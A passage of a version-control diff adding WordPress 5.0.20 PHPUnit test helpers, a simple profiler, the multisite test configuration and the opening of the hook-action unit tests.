+++ /tags/5.0.20/tests/phpunit/includes/utils.php	(revision 56912)
@@ -0,0 +1,479 @@
+<?php
+
+// misc help functions and utilities
+
+function rand_str($len=32) {
+	return substr(md5(uniqid(rand())), 0, $len);
+}
+
+function rand_long_str( $length ) {
+	$chars = 'abcdefghijklmnopqrstuvwxyz';
+	$string = '';
+
+	for ( $i = 0; $i < $length; $i++ ) {
+		$rand = rand( 0, strlen( $chars ) - 1 );
+		$string .= substr( $chars, $rand, 1 );
+	}
+
+	return $string;
+}
+
+// strip leading and trailing whitespace from each line in the string
+function strip_ws($txt) {
+	$lines = explode("\n", $txt);
+	$result = array();
+	foreach ($lines as $line)
+		if (trim($line))
+			$result[] = trim($line);
+
+	return trim(join("\n", $result));
+}
+
+// helper class for testing code that involves actions and filters
+// typical use:
+// $ma = new MockAction();
+// add_action('foo', array(&$ma, 'action'));
+class MockAction {
+	var $events;
+	var $debug;
+
+	/**
+	 * PHP5 constructor.
+	 */
+	function __construct( $debug = 0 ) {
+		$this->reset();
+		$this->debug = $debug;
+	}
+
+	function reset() {
+		$this->events = array();
+	}
+
+	function current_filter() {
+		if (is_callable('current_filter'))
+			return current_filter();
+		global $wp_actions;
+		return end($wp_actions);
+	}
+
+	function action($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+		$args = func_get_args();
+		$this->events[] = array('action' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+		return $arg;
+	}
+
+	function action2($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+		$args = func_get_args();
+		$this->events[] = array('action' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+		return $arg;
+	}
+
+	function filter($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+		$args = func_get_args();
+		$this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+		return $arg;
+	}
+
+	function filter2($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+		$args = func_get_args();
+		$this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+		return $arg;
+	}
+
+	function filter_append($arg) {
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+		$args = func_get_args();
+		$this->events[] = array('filter' => __FUNCTION__, 'tag'=>$this->current_filter(), 'args'=>$args);
+		return $arg . '_append';
+	}
+
+	function filterall($tag, $arg=NULL) {
+	// this one doesn't return the result, so it's safe to use with the new 'all' filter
+if ($this->debug) dmp(__FUNCTION__, $this->current_filter());
+
+		$args = func_get_args();
+		$this->events[] = array('filter' => __FUNCTION__, 'tag'=>$tag, 'args'=>array_slice($args, 1));
+	}
+
+	// return a list of all the actions, tags and args
+	function get_events() {
+		return $this->events;
+	}
+
+	// return a count of the number of times the action was called since the last reset
+	function get_call_count($tag='') {
+		if ($tag) {
+			$count = 0;
+			foreach ($this->events as $e)
+				if ($e['action'] == $tag)
+					++$count;
+			return $count;
+		}
+		return count($this->events);
+	}
+
+	// return an array of the tags that triggered calls to this action
+	function get_tags() {
+		$out = array();
+		foreach ($this->events as $e) {
+			$out[] = $e['tag'];
+		}
+		return $out;
+	}
+
+	// return an array of args passed in calls to this action
+	function get_args() {
+		$out = array();
+		foreach ($this->events as $e)
+			$out[] = $e['args'];
+		return $out;
+	}
+}
+
+// convert valid xml to an array tree structure
+// kinda lame but it works with a default php 4 installation
+class testXMLParser {
+	var $xml;
+	var $data = array();
+
+	/**
+	 * PHP5 constructor.
+	 */
+	function __construct( $in ) {
+		$this->xml = xml_parser_create();
+		xml_set_object($this->xml, $this);
+		xml_parser_set_option($this->xml,XML_OPTION_CASE_FOLDING, 0);
+		xml_set_element_handler($this->xml, array($this, 'startHandler'), array($this, 'endHandler'));
+		xml_set_character_data_handler($this->xml, array($this, 'dataHandler'));
+		$this->parse($in);
+	}
+
+	function parse($in) {
+		$parse = xml_parse($this->xml, $in, true);
+		if (!$parse) {
+			trigger_error(sprintf("XML error: %s at line %d",
+			xml_error_string(xml_get_error_code($this->xml)),
+			xml_get_current_line_number($this->xml)), E_USER_ERROR);
+			xml_parser_free($this->xml);
+		}
+		return true;
+	}
+
+	function startHandler($parser, $name, $attributes) {
+		$data['name'] = $name;
+		if ($attributes) { $data['attributes'] = $attributes; }
+		$this->data[] = $data;
+	}
+
+	function dataHandler($parser, $data) {
+		$index = count($this->data) - 1;
+		@$this->data[$index]['content'] .= $data;
+	}
+
+	function endHandler($parser, $name) {
+		if (count($this->data) > 1) {
+			$data = array_pop($this->data);
+			$index = count($this->data) - 1;
+			$this->data[$index]['child'][] = $data;
+		}
+	}
+}
+
+function xml_to_array($in) {
+	$p = new testXMLParser($in);
+	return $p->data;
+}
+
+function xml_find($tree /*, $el1, $el2, $el3, .. */) {
+	$a = func_get_args();
+	$a = array_slice($a, 1);
+	$n = count($a);
+	$out = array();
+
+	if ($n < 1)
+		return $out;
+
+	for ($i=0; $i<count($tree); $i++) {
+#		echo "checking '{$tree[$i][name]}' == '{$a[0]}'\n";
+#		var_dump($tree[$i]['name'], $a[0]);
+		if ($tree[$i]['name'] == $a[0]) {
+#			echo "n == {$n}\n";
+			if ($n == 1)
+				$out[] = $tree[$i];
+			else {
+				$subtree =& $tree[$i]['child'];
+				$call_args = array($subtree);
+				$call_args = array_merge($call_args, array_slice($a, 1));
+				$out = array_merge($out, call_user_func_array('xml_find', $call_args));
+			}
+		}
+	}
+
+	return $out;
+}
+
+function xml_join_atts($atts) {
+	$a = array();
+	foreach ($atts as $k=>$v)
+		$a[] = $k.'="'.$v.'"';
+	return join(' ', $a);
+}
+
+function xml_array_dumbdown(&$data) {
+	$out = array();
+
+	foreach (array_keys($data) as $i) {
+		$name = $data[$i]['name'];
+		if (!empty($data[$i]['attributes']))
+			$name .= ' '.xml_join_atts($data[$i]['attributes']);
+
+		if (!empty($data[$i]['child'])) {
+			$out[$name][] = xml_array_dumbdown($data[$i]['child']);
+		}
+		else
+			$out[$name] = $data[$i]['content'];
+	}
+
+	return $out;
+}
+
+function dmp() {
+	$args = func_get_args();
+
+	foreach ($args as $thing)
+		echo (is_scalar($thing) ? strval($thing) : var_export($thing, true)), "\n";
+}
+
+function dmp_filter($a) {
+	dmp($a);
+	return $a;
+}
+
+function get_echo($callable, $args = array()) {
+	ob_start();
+	call_user_func_array($callable, $args);
+	return ob_get_clean();
+}
+
+// recursively generate some quick assertEquals tests based on an array
+function gen_tests_array($name, $array) {
+	$out = array();
+	foreach ($array as $k=>$v) {
+		if (is_numeric($k))
+			$index = strval($k);
+		else
+			$index = "'".addcslashes($k, "\n\r\t'\\")."'";
+
+		if (is_string($v)) {
+			$out[] = '$this->assertEquals( \'' . addcslashes($v, "\n\r\t'\\") . '\', $'.$name.'['.$index.'] );';
+		}
+		elseif (is_numeric($v)) {
+			$out[] = '$this->assertEquals( ' . $v . ', $'.$name.'['.$index.'] );';
+		}
+		elseif (is_array($v)) {
+			$out[] = gen_tests_array("{$name}[{$index}]", $v);
+		}
+	}
+	return join("\n", $out)."\n";
+}
+
+/**
+ * Use to create objects by yourself
+ */
+class MockClass {};
+
+/**
+ * Drops all tables from the WordPress database
+ */
+function drop_tables() {
+	global $wpdb;
+	$tables = $wpdb->get_col('SHOW TABLES;');
+	foreach ($tables as $table)
+		$wpdb->query("DROP TABLE IF EXISTS {$table}");
+}
+
+function print_backtrace() {
+	$bt = debug_backtrace();
+	echo "Backtrace:\n";
+	$i = 0;
+	foreach ($bt as $stack) {
+		echo ++$i, ": ";
+		if ( isset($stack['class']) )
+			echo $stack['class'].'::';
+		if ( isset($stack['function']) )
+			echo $stack['function'].'() ';
+		echo "line {$stack[line]} in {$stack[file]}\n";
+	}
+	echo "\n";
+}
+
+// mask out any input fields matching the given name
+function mask_input_value($in, $name='_wpnonce') {
+	return preg_replace('@<input([^>]*) name="'.preg_quote($name).'"([^>]*) value="[^>]*" />@', '<input$1 name="'.preg_quote($name).'"$2 value="***" />', $in);
+}
+
+if ( !function_exists( 'str_getcsv' ) ) {
+	function str_getcsv( $input, $delimiter = ',', $enclosure = '"', $escape = "\\" ) {
+		$fp = fopen( 'php://temp/', 'r+' );
+		fputs( $fp, $input );
+		rewind( $fp );
+		$data = fgetcsv( $fp, strlen( $input ), $delimiter, $enclosure );
+		fclose( $fp );
+		return $data;
+	}
+}
+
+/**
+ * Removes the post type and its taxonomy associations.
+ */
+function _unregister_post_type( $cpt_name ) {
+	unregister_post_type( $cpt_name );
+}
+
+function _unregister_taxonomy( $taxonomy_name ) {
+	unregister_taxonomy( $taxonomy_name );
+}
+
+/**
+ * Unregister a post status.
+ *
+ * @since 4.2.0
+ *
+ * @param string $status
+ */
+function _unregister_post_status( $status ) {
+	unset( $GLOBALS['wp_post_statuses'][ $status ] );
+}
+
+function _cleanup_query_vars() {
+	// clean out globals to stop them polluting wp and wp_query
+	foreach ( $GLOBALS['wp']->public_query_vars as $v )
+		unset( $GLOBALS[$v] );
+
+	foreach ( $GLOBALS['wp']->private_query_vars as $v )
+		unset( $GLOBALS[$v] );
+
+	foreach ( get_taxonomies( array() , 'objects' ) as $t ) {
+		if ( $t->publicly_queryable && ! empty( $t->query_var ) )
+			$GLOBALS['wp']->add_query_var( $t->query_var );
+	}
+
+	foreach ( get_post_types( array() , 'objects' ) as $t ) {
+		if ( is_post_type_viewable( $t ) && ! empty( $t->query_var ) )
+			$GLOBALS['wp']->add_query_var( $t->query_var );
+	}
+}
+
+function _clean_term_filters() {
+	remove_filter( 'get_terms',     array( 'Featured_Content', 'hide_featured_term'     ), 10, 2 );
+	remove_filter( 'get_the_terms', array( 'Featured_Content', 'hide_the_featured_term' ), 10, 3 );
+}
+
+/**
+ * Special class for exposing protected wpdb methods we need to access
+ */
+class wpdb_exposed_methods_for_testing extends wpdb {
+	public function __construct() {
+		global $wpdb;
+		$this->dbh = $wpdb->dbh;
+		$this->use_mysqli = $wpdb->use_mysqli;
+		$this->is_mysql = $wpdb->is_mysql;
+		$this->ready = true;
+		$this->field_types = $wpdb->field_types;
+		$this->charset = $wpdb->charset;
+
+		$this->dbuser = $wpdb->dbuser;
+		$this->dbpassword = $wpdb->dbpassword;
+		$this->dbname = $wpdb->dbname;
+		$this->dbhost = $wpdb->dbhost;
+	}
+
+	public function __call( $name, $arguments ) {
+		return call_user_func_array( array( $this, $name ), $arguments );
+	}
+}
+
+/**
+ * Determine approximate backtrack count when running PCRE.
+ *
+ * @return int The backtrack count.
+ */
+function benchmark_pcre_backtracking( $pattern, $subject, $strategy ) {
+	$saved_config = ini_get( 'pcre.backtrack_limit' );
+	
+	// Attempt to prevent PHP crashes.  Adjust these lower when needed.
+	if ( version_compare( phpversion(), '5.4.8', '>' ) ) {
+		$limit = 1000000;
+	} else {
+		$limit = 20000;  // 20,000 is a reasonable upper limit, but see also https://core.trac.wordpress.org/ticket/29557#comment:10
+	}
+
+	// Start with small numbers, so if a crash is encountered at higher numbers we can still debug the problem.
+	for( $i = 4; $i <= $limit; $i *= 2 ) {
+
+		ini_set( 'pcre.backtrack_limit', $i );
+		
+		switch( $strategy ) {
+		case 'split':
+			preg_split( $pattern, $subject );
+			break;
+		case 'match':
+			preg_match( $pattern, $subject );
+			break;
+		case 'match_all':
+			$matches = array();
+			preg_match_all( $pattern, $subject, $matches );
+			break;
+		}
+
+		ini_set( 'pcre.backtrack_limit', $saved_config );
+
+		switch( preg_last_error() ) {
+		case PREG_NO_ERROR:
+			return $i;
+		case PREG_BACKTRACK_LIMIT_ERROR:
+			break;
+		case PREG_RECURSION_LIMIT_ERROR:
+			trigger_error('PCRE recursion limit encountered before backtrack limit.');
+			return;
+		case PREG_BAD_UTF8_ERROR:
+			trigger_error('UTF-8 error during PCRE benchmark.');
+			return;
+		case PREG_INTERNAL_ERROR:
+			trigger_error('Internal error during PCRE benchmark.');
+			return;
+		default:
+			trigger_error('Unexpected error during PCRE benchmark.');
+			return;
+		}
+	}
+
+	return $i;
+}
+
+function test_rest_expand_compact_links( $links ) {
+	if ( empty( $links['curies'] ) ) {
+		return $links;
+	}
+	foreach ( $links as $rel => $links_array ) {
+		if ( ! strpos( $rel, ':' ) ) {
+			continue;
+		}
+
+		$name = explode( ':', $rel );
+
+		$curie = wp_list_filter( $links['curies'], array( 'name' => $name[0] ) );
+		$full_uri = str_replace( '{rel}', $name[1], $curie[0]['href'] );
+		$links[ $full_uri ] = $links_array;
+		unset( $links[ $rel ] );
+	}
+	return $links;
+}
Index: /tags/5.0.20/tests/phpunit/includes/wp-profiler.php
===================================================================
--- /tags/5.0.20/tests/phpunit/includes/wp-profiler.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/includes/wp-profiler.php	(revision 56912)
@@ -0,0 +1,218 @@
+<?php
+
+/*
+A simple manually-instrumented profiler for WordPress.
+
+This records basic execution time, and a summary of the actions and SQL queries run within each block.
+
+start() and stop() must be called in pairs, for example:
+
+function something_to_profile() {
+	wppf_start(__FUNCTION__);
+	do_stuff();
+	wppf_stop();
+}
+
+Multiple profile blocks are permitted, and they may be nested.
+
+*/
+
+class WPProfiler {
+	var $stack;
+	var $profile;
+
+	/**
+	 * PHP5 constructor.
+	 */
+	function __construct() {
+		$this->stack = array();
+		$this->profile = array();
+	}
+
+	function start($name) {
+		$time = $this->microtime();
+
+		if (!$this->stack) {
+			// log all actions and filters
+			add_filter('all', array($this, 'log_filter'));
+		}
+
+		// reset the wpdb queries log, storing it on the profile stack if necessary
+		global $wpdb;
+		if ($this->stack) {
+			$this->stack[count($this->stack)-1]['queries'] = $wpdb->queries;
+		}
+		$wpdb->queries = array();
+
+		global $wp_object_cache;
+
+		$this->stack[] = array(
+			'start' => $time,
+			'name' => $name,
+			'cache_cold_hits' => $wp_object_cache->cold_cache_hits,
+			'cache_warm_hits' => $wp_object_cache->warm_cache_hits,
+			'cache_misses' => $wp_object_cache->cache_misses,
+			'cache_dirty_objects' => $this->_dirty_objects_count($wp_object_cache->dirty_objects),
+			'actions' => array(),
+			'filters' => array(),
+			'queries' => array(),
+		);
+
+	}
+
+	function stop() {
+		$item = array_pop($this->stack);
+		$time = $this->microtime($item['start']);
+		$name = $item['name'];
+
+		global $wpdb;
+		$item['queries'] = $wpdb->queries;
+		global $wp_object_cache;
+
+		$cache_dirty_count = $this->_dirty_objects_count($wp_object_cache->dirty_objects);
+		$cache_dirty_delta = $this->array_sub($cache_dirty_count, $item['cache_dirty_objects']);
+
+		if (isset($this->profile[$name])) {
+			$this->profile[$name]['time'] += $time;
+			$this->profile[$name]['calls'] ++;
+			$this->profile[$name]['cache_cold_hits'] += ($wp_object_cache->cold_cache_hits - $item['cache_cold_hits']);
+			$this->profile[$name]['cache_warm_hits'] += ($wp_object_cache->warm_cache_hits - $item['cache_warm_hits']);
+			$this->profile[$name]['cache_misses'] += ($wp_object_cache->cache_misses - $item['cache_misses']);
+			$this->profile[$name]['cache_dirty_objects'] = array_add( $this->profile[$name]['cache_dirty_objects'], $cache_dirty_delta) ;
+			$this->profile[$name]['actions'] = array_add( $this->profile[$name]['actions'], $item['actions'] );
+			$this->profile[$name]['filters'] = array_add( $this->profile[$name]['filters'], $item['filters'] );
+			$this->profile[$name]['queries'] = array_add( $this->profile[$name]['queries'], $item['queries'] );
+			#$this->_query_summary($item['queries'], $this->profile[$name]['queries']);
+
+		}
+		else {
+			$queries = array();
+			$this->_query_summary($item['queries'], $queries);
+			$this->profile[$name] = array(
+				'time' => $time,
+				'calls' => 1,
+				'cache_cold_hits' => ($wp_object_cache->cold_cache_hits - $item['cache_cold_hits']),
+				'cache_warm_hits' => ($wp_object_cache->warm_cache_hits - $item['cache_warm_hits']),
+				'cache_misses' => ($wp_object_cache->cache_misses - $item['cache_misses']),
+				'cache_dirty_objects' => $cache_dirty_delta,
+				'actions' => $item['actions'],
+				'filters' => $item['filters'],
+#				'queries' => $item['queries'],
+				'queries' => $queries,
+			);
+		}
+
+		if (!$this->stack) {
+			remove_filter('all', array($this, 'log_filter'));
+		}
+	}
+
+	function microtime($since = 0.0) {
+		list($usec, $sec) = explode(' ', microtime());
+		return (float)$sec + (float)$usec - $since;
+	}
+
+	function log_filter($tag) {
+		if ($this->stack) {
+			global $wp_actions;
+			if ($tag == end($wp_actions))
+				@$this->stack[count($this->stack)-1]['actions'][$tag] ++;
+			else
+				@$this->stack[count($this->stack)-1]['filters'][$tag] ++;
+		}
+		return $arg;
+	}
+
+	function log_action($tag) {
+		if ($this->stack)
+			@$this->stack[count($this->stack)-1]['actions'][$tag] ++;
+	}
+
+	function _current_action() {
+		global $wp_actions;
+		return $wp_actions[count($wp_actions)-1];
+	}
+
+	function results() {
+		return $this->profile;
+	}
+
+	function _query_summary($queries, &$out) {
+		foreach ($queries as $q) {
+			$sql = $q[0];
+			$sql = preg_replace('/(WHERE \w+ =) \d+/', '$1 x', $sql);
+			$sql = preg_replace('/(WHERE \w+ =) \'\[-\w]+\'/', '$1 \'xxx\'', $sql);
+
+			@$out[$sql] ++;
+		}
+		asort($out);
+		return;
+	}
+
+	function _query_count($queries) {
+		// this requires the savequeries patch at https://core.trac.wordpress.org/ticket/5218
+		$out = array();
+		foreach ($queries as $q) {
+			if (empty($q[2]))
+				@$out['unknown'] ++;
+			else
+				@$out[$q[2]] ++;
+		}
+		return $out;
+	}
+
+	function _dirty_objects_count($dirty_objects) {
+		$out = array();
+		foreach (array_keys($dirty_objects) as $group)
+			$out[$group] = count($dirty_objects[$group]);
+		return $out;
+	}
+
+	function array_add($a, $b) {
+		$out = $a;
+		foreach (array_keys($b) as $key)
+			if (array_key_exists($key, $out))
+				$out[$key] += $b[$key];
+			else
+				$out[$key] = $b[$key];
+		return $out;
+	}
+
+	function array_sub($a, $b) {
+		$out = $a;
+		foreach (array_keys($b) as $key)
+			if (array_key_exists($key, $b))
+				$out[$key] -= $b[$key];
+		return $out;
+	}
+
+	function print_summary() {
+		$results = $this->results();
+
+		printf("\nname                      calls   time action filter   warm   cold misses  dirty\n");
+		foreach ($results as $name=>$stats) {
+			printf("%24.24s %6d %6.4f %6d %6d %6d %6d %6d %6d\n", $name, $stats['calls'], $stats['time'], array_sum($stats['actions']), array_sum($stats['filters']), $stats['cache_warm_hits'], $stats['cache_cold_hits'], $stats['cache_misses'], array_sum($stats['cache_dirty_objects']));
+		}
+	}
+}
+
+global $wppf;
+$wppf = new WPProfiler();
+
+function wppf_start($name) {
+	$GLOBALS['wppf']->start($name);
+}
+
+function wppf_stop() {
+	$GLOBALS['wppf']->stop();
+}
+
+function wppf_results() {
+	return $GLOBALS['wppf']->results();
+}
+
+function wppf_print_summary() {
+	$GLOBALS['wppf']->print_summary();
+}
+
+?>
Index: /tags/5.0.20/tests/phpunit/multisite.xml
===================================================================
--- /tags/5.0.20/tests/phpunit/multisite.xml	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/multisite.xml	(revision 56912)
@@ -0,0 +1,58 @@
+<phpunit
+		bootstrap="includes/bootstrap.php"
+        backupGlobals="false"
+        colors="true"
+        beStrictAboutTestsThatDoNotTestAnything="true"
+        >
+    <php>
+        <const name="WP_TESTS_MULTISITE" value="1" />
+    </php>
+    <testsuites>
+        <!-- Default test suite to run all tests -->
+        <testsuite name="default">
+            <directory suffix=".php">tests</directory>
+            <exclude>tests/phpunit/tests/actions/closures.php</exclude>
+            <exclude>tests/phpunit/tests/image/editor.php</exclude>
+            <exclude>tests/phpunit/tests/image/editorGd.php</exclude>
+            <exclude>tests/phpunit/tests/image/editorImagick.php</exclude>
+            <!-- Path relative to the checkout root, for PHPUnit 3.6.x -->
+            <exclude>tests/phpunit/tests/rest-api/rest-autosaves-controller.php</exclude>
+            <!-- Same path relative to the configuration file, for PHPUnit 4.0.0+ -->
+            <exclude>tests/rest-api/rest-autosaves-controller.php</exclude>
+            <file phpVersion="5.3.0">tests/phpunit/tests/actions/closures.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editor.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editorGd.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editorImagick.php</file>
+        </testsuite>
+        <!-- Sets the DOING_AUTOSAVE constant, so needs to be run last -->
+        <testsuite name="restapi-autosave">
+            <!-- Path relative to the checkout root, for PHPUnit 3.6.x -->
+            <file>tests/phpunit/tests/rest-api/rest-autosaves-controller.php</file>
+            <!-- Same path relative to the configuration file, for PHPUnit 4.0.0+ -->
+            <file>tests/rest-api/rest-autosaves-controller.php</file>
+        </testsuite>
+    </testsuites>
+    <groups>
+        <exclude>
+            <group>ajax</group>
+            <group>ms-files</group>
+            <group>ms-excluded</group>
+            <group>external-http</group>
+            <group>oembed-headers</group>
+        </exclude>
+    </groups>
+    <php>
+        <const name="WP_RUN_CORE_TESTS" value="1" />
+    </php>
+    <listeners>
+        <listener class="SpeedTrapListener" file="tests/phpunit/includes/speed-trap-listener.php">
+            <arguments>
+                <array>
+                    <element key="slowThreshold">
+                        <integer>150</integer>
+                    </element>
+                </array>
+            </arguments>
+        </listener>
+    </listeners>
+</phpunit>
Index: /tags/5.0.20/tests/phpunit/tests/actions.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/actions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/actions.php	(revision 56912)
@@ -0,0 +1,551 @@
+<?php
+
+/**
+ * Test do_action() and related functions
+ *
+ * @group hooks
+ */
+class Tests_Actions extends WP_UnitTestCase {
+
+	function test_simple_action() {
+		$a = new MockAction();
+		$tag = __FUNCTION__;
+
+		add_action($tag, array(&$a, 'action'));
+		do_action($tag);
+
+		// only one event occurred for the hook, with empty args
+		$this->assertEquals(1, $a->get_call_count());
+		// only our hook was called
+		$this->assertEquals(array($tag), $a->get_tags());
+
+		$argsvar = $a->get_args();
+		$args = array_pop( $argsvar );
+		$this->assertEquals(array(''), $args);
+	}
+
+	function test_remove_action() {
+		$a = new MockAction();
+		$tag = __FUNCTION__;
+
+		add_action($tag, array(&$a, 'action'));
+		do_action($tag);
+
+		// make sure our hook was called correctly
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+
+		// now remove the action, do it again, and make sure it's not called this time
+		remove_action($tag, array(&$a, 'action'));
+		do_action($tag);
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+
+	}
+
+	function test_has_action() {
+		$tag = __FUNCTION__;
+		$func = __FUNCTION__ . '_func';
+
+		$this->assertFalse( has_action($tag, $func) );
+		$this->assertFalse( has_action($tag) );
+		add_action($tag, $func);
+		$this->assertEquals( 10, has_action($tag, $func) );
+		$this->assertTrue( has_action($tag) );
+		remove_action($tag, $func);
+		$this->assertFalse( has_action($tag, $func) );
+		$this->assertFalse( has_action($tag) );
+	}
+
+	// one tag with multiple actions
+	function test_multiple_actions() {
+		$a1 = new MockAction();
+		$a2 = new MockAction();
+		$tag = __FUNCTION__;
+
+		// add both actions to the hook
+		add_action($tag, array(&$a1, 'action'));
+		add_action($tag, array(&$a2, 'action'));
+
+		do_action($tag);
+
+		// both actions called once each
+		$this->assertEquals(1, $a1->get_call_count());
+		$this->assertEquals(1, $a2->get_call_count());
+	}
+
+	function test_action_args_1() {
+		$a = new MockAction();
+		$tag = __FUNCTION__;
+		$val = __FUNCTION__ . '_val';
+
+		add_action($tag, array(&$a, 'action'));
+		// call the action with a single argument
+		do_action($tag, $val);
+
+		$call_count = $a->get_call_count();
+		$this->assertEquals(1, $call_count);
+		$argsvar = $a->get_args();
+		$this->assertEquals( array( $val ), array_pop( $argsvar ) );
+	}
+
+	function test_action_args_2() {
+		$a1 = new MockAction();
+		$a2 = new MockAction();
+		$tag = __FUNCTION__;
+		$val1 = __FUNCTION__ . '_val1';
+		$val2 = __FUNCTION__ . '_val2';
+
+		// a1 accepts two arguments, a2 doesn't
+		add_action($tag, array(&$a1, 'action'), 10, 2);
+		add_action($tag, array(&$a2, 'action'));
+		// call the action with two arguments
+		do_action($tag, $val1, $val2);
+
+		$call_count = $a1->get_call_count();
+		// a1 should be called with both args
+		$this->assertEquals(1, $call_count);
+		$argsvar1 = $a1->get_args();
+		$this->assertEquals( array( $val1, $val2 ), array_pop( $argsvar1 ) );
+
+		// a2 should be called with one only
+		$this->assertEquals(1, $a2->get_call_count());
+		$argsvar2 = $a2->get_args();
+		$this->assertEquals( array( $val1 ), array_pop( $argsvar2 ) );
+	}
+
+	/**
+	 * Test that multiple callbacks receive the correct number of args even when the number
+	 * is less than, or greater than previous hooks.
+	 *
+	 * @see https://core.trac.wordpress.org/ticket/17817#comment:72
+	 * @ticket 17817
+	 */
+	function test_action_args_3() {
+		$a1 = new MockAction();
+		$a2 = new MockAction();
+		$a3 = new MockAction();
+		$tag = __FUNCTION__;
+		$val1 = __FUNCTION__ . '_val1';
+		$val2 = __FUNCTION__ . '_val2';
+
+		// a1 accepts two arguments, a2 doesn't, a3 accepts two arguments
+		add_action( $tag, array( &$a1, 'action' ), 10, 2 );
+		add_action( $tag, array( &$a2, 'action' ) );
+		add_action( $tag, array( &$a3, 'action' ), 10, 2 );
+		// call the action with two arguments
+		do_action( $tag, $val1, $val2 );
+
+		$call_count = $a1->get_call_count();
+		// a1 should be called with both args
+		$this->assertEquals( 1, $call_count );
+		$argsvar1 = $a1->get_args();
+		$this->assertEquals( array( $val1, $val2 ), array_pop( $argsvar1 ) );
+
+		// a2 should be called with one only
+		$this->assertEquals( 1, $a2->get_call_count() );
+		$argsvar2 = $a2->get_args();
+		$this->assertEquals( array( $val1 ), array_pop( $argsvar2 ) );
+
+		// a3 should be called with both args
+		$this->assertEquals( 1, $a3->get_call_count() );
+		$argsvar3 = $a3->get_args();
+		$this->assertEquals( array( $val1, $val2 ), array_pop( $argsvar3 ) );
+	}
+
+	function test_action_priority() {
+		$a = new MockAction();
+		$tag = __FUNCTION__;
+
+		add_action($tag, array(&$a, 'action'), 10);
+		add_action($tag, array(&$a, 'action2'), 9);
+		do_action($tag);
+
+		// two events, one per action
+		$this->assertEquals(2, $a->get_call_count());
+
+		$expected = array (
+			// action2 is called first because it has priority 9
+			array (
+				'action' => 'action2',
+				'tag' => $tag,
+				'args' => array('')
+			),
+			// action 1 is called second
+			array (
+				'action' => 'action',
+				'tag' => $tag,
+				'args' => array('')
+			),
+		);
+
+		$this->assertEquals($expected, $a->get_events());
+	}
+
+	function test_did_action() {
+		$tag1 = 'action1';
+		$tag2 = 'action2';
+
+		// do action tag1 but not tag2
+		do_action($tag1);
+		$this->assertEquals(1, did_action($tag1));
+		$this->assertEquals(0, did_action($tag2));
+
+		// do action tag2 a random number of times
+		$count = rand(0, 10);
+		for ($i=0; $i<$count; $i++)
+			do_action($tag2);
+
+		// tag1's count hasn't changed, tag2 should be correct
+		$this->assertEquals(1, did_action($tag1));
+		$this->assertEquals($count, did_action($tag2));
+
+	}
+
+	function test_all_action() {
+		$a = new MockAction();
+		$tag1 = __FUNCTION__ . '_1';
+		$tag2 = __FUNCTION__ . '_2';
+
+		// add an 'all' action
+		add_action('all', array(&$a, 'action'));
+		$this->assertEquals(10, has_filter('all', array(&$a, 'action')));
+		// do some actions
+		do_action($tag1);
+		do_action($tag2);
+		do_action($tag1);
+		do_action($tag1);
+
+		// our action should have been called once for each tag
+		$this->assertEquals(4, $a->get_call_count());
+		// only our hook was called
+		$this->assertEquals(array($tag1, $tag2, $tag1, $tag1), $a->get_tags());
+
+		remove_action('all', array(&$a, 'action'));
+		$this->assertFalse(has_filter('all', array(&$a, 'action')));
+
+	}
+
+	function test_remove_all_action() {
+		$a = new MockAction();
+		$tag = __FUNCTION__;
+
+		add_action('all', array(&$a, 'action'));
+		$this->assertEquals(10, has_filter('all', array(&$a, 'action')));
+		do_action($tag);
+
+		// make sure our hook was called correctly
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+
+		// now remove the action, do it again, and make sure it's not called this time
+		remove_action('all', array(&$a, 'action'));
+		$this->assertFalse(has_filter('all', array(&$a, 'action')));
+		do_action($tag);
+		$this->assertEquals(1, $a->get_call_count());
+		$this->assertEquals(array($tag), $a->get_tags());
+	}
+
+	function test_action_ref_array() {
+		$obj = new stdClass();
+		$a = new MockAction();
+		$tag = __FUNCTION__;
+
+		add_action($tag, array(&$a, 'action'));
+
+		do_action_ref_array($tag, array(&$obj));
+
+		$args = $a->get_args();
+		$this->assertSame($args[0][0], $obj);
+		// just in case we don't trust assertSame
+		$obj->foo = true;
+		$this->assertFalse( empty($args[0][0]->foo) );
+	}
+
+	/**
+	 * @ticket 11241
+	 */
+	function test_action_keyed_array() {
+		$a = new MockAction();
+
+		$tag = __FUNCTION__;
+
+		add_action($tag, array(&$a, 'action'));
+
+		$context = array( 'key1' => 'val1' );
+		do_action($tag, $context);
+
+		$args = $a->get_args();
+		$this->assertSame($args[0][0], $context);
+
+		$context2 = array( 'key2' => 'val2', 'key3' => 'val3' );
+		do_action($tag, $context2);
+
+		$args = $a->get_args();
+		$this->assertSame($args[1][0], $context2);
+
+	}
+
+	function test_action_self_removal() {
+		add_action( 'test_action_self_removal', array( $this, 'action_self_removal' ) );
+		do_action( 'test_action_self_removal' );
+		$this->assertEquals( 1, did_action( 'test_action_self_removal' ) );
+	}
+
+	function action_self_removal() {
+		remove_action( 'test_action_self_removal', array( $this, 'action_self_removal' ) );
+	}
+
+	/**
+	 * @ticket 17817
+	 */
+	function test_action_recursion() {
+		$tag = __FUNCTION__;
+		$a = new MockAction();
+		$b = new MockAction();
+
+		add_action( $tag, array( $a, 'action' ), 11, 1 );
+		add_action( $tag, array( $b, 'action' ), 13, 1 );
+		add_action( $tag, array( $this, 'action_that_causes_recursion' ), 12, 1 );
